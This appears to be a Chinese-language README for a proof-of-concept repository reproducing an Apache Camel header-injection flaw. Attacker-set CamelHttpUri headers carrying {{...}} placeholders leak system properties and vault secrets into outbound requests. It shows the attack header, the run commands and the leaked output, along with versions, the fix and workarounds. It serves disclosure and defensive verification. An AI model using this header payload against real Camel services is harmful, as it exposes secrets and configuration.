针对 Apache Camel 漏洞的可运行概念验证复现程序:HTTP 生产者系列允许入站消息通过 CamelHttpUri 和 CamelRestHttpUri 请求头覆盖端点 URI,随后在使用该消息提供的字符串之前,将其传入 CamelContext.resolvePropertyPlaceholders() 进行解析。
属性占位符解析是一种配置解析机制,而非 URI 解析步骤。它会访问操作系统环境变量、JVM 系统属性、类路径上的每个 PropertiesFunction(包括 AWS、Azure、GCP、HashiCorp、IBM、CyberArk 和 Kubernetes 的密钥函数),并且——通过 camel-bean——调用注册表中任意 bean 的无参方法。将其应用于受攻击者影响的 Exchange 内容,会把一个 URI 字符串变成配置与 bean 求值上下文。路由作者对此毫无选择:一个普通的静态 to("http://backend/api") 就足以触发。
| 运行时 | 目录 | 技术栈 |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-http 4.22.0(受影响;修复版本 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-http 3.29.0(Camel 4.15.0,受影响) |
该行为早于 4.x 系列(可追溯至 camel-http4 / camel-netty4),因此所有受影响的发行版以及最新 Camel Quarkus 中的 Camel 4.15.0 均存在漏洞。修复版本随 Camel 4.18.5 / 4.22.1 / 4.23.0 发布;Spring Boot 模块同时运行受影响构建(4.22.0)和修复构建(4.22.1)。目前尚无已发布的 Camel Quarkus 捆绑修复后的 Camel。
该路由是一个普通的静态 to("http://127.0.0.1:9100/collect"),指向本地收集器。攻击者将 CamelHttpUri 请求头设置为携带属性占位符令牌的 URI——无需知道密钥值,只需指明键名:
CamelHttpUri: http://127.0.0.1:9100/collect?leak={{sys:cve78164.secret}}
该应用会设置一个 JVM 系统属性 cve78164.secret,用来代替任意配置值或 vault 密钥。在受影响的构建版本中,生产者会在请求发出之前解析该占位符,因此收集器会在出站查询中看到该密钥。在已修复的构建版本中,该令牌会被原样转发。
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
在受影响的构建上预期输出:
Outbound request observed by the collector:
GET /collect?leak=S3CR3T-cve78164-do-not-leak
>>> PROVEN: the {{sys:...}} placeholder in the attacker-supplied CamelHttpUri was resolved,
>>> expanding the secret 'S3CR3T-cve78164-do-not-leak' into the outbound request.
在修复后的构建中,收集器看到的是 GET /collect?leak={{sys:cve78164.secret}}(字面量,未被解析)。
| 属性 | 值 |
|---|---|
| 组件 | camel-http / camel-http-common / camel-vertx-http / camel-undertow / camel-netty-http |
| CWE | CWE-1336(模板引擎中使用的特殊元素的不当中和),CWE-200(信息泄露) |
| 严重程度 | 高 |
| 攻击向量 | CamelHttpUri / CamelRestHttpUri 覆盖头携带 {{...}} 令牌;请求体/请求头不受 bridgeEndpoint 限制,且多个消费者会作为反向代理特性从请求行填充 CamelHttpUri |
| 影响 | 将环境变量、系统属性和 vault 密钥展开到出站请求中;无参调用注册表 bean;通过回显的错误形成配置键设置/未设置预言机 |
| 受影响版本 | 从 4.0.0 起至 4.18.5 之前,从 4.19.0 起至 4.22.1 之前(该行为早于 4.x) |
| 修复版本 | 4.18.5、4.22.1、4.23.0 |
| JIRA | CAMEL-24418 |
| 致谢 | [email protected] |
公告:https://camel.apache.org/security/CVE-2026-78164.html
在所有受影响的位置移除了针对每条消息的 resolvePropertyPlaceholders() 调用,因此仅出现在 CamelHttpUri 或 CamelRestHttpUri 中的 {{...}} 令牌现在会被视为 URI 的字面量部分。路由自身端点 URI 中的占位符不受影响——它们在端点创建时于构建阶段被解析一次。
在生产者之前的信任边界处,使用 removeHeader("CamelHttpUri") 和 removeHeader("CamelRestHttpUri") 剥离覆盖头,或在 camel-http 端点上设置 skipControlHeaders=true(唯一提供该选项的组件)。bridgeEndpoint=true 不是变通方案。对暴露给不可信发送方的消费者应用严格的入站 HeaderFilterStrategy,并通过 vault 而非占位符可命名的环境变量/系统属性来解析密钥。
本仓库出于教育和防御目的发布:帮助 Apache Camel 用户理解该漏洞、验证自身是否受影响,并确认升级可解决该问题。其中的“secret”是一个无实际作用的本地测试夹具。请勿将本材料用于您不拥有或运营的系统。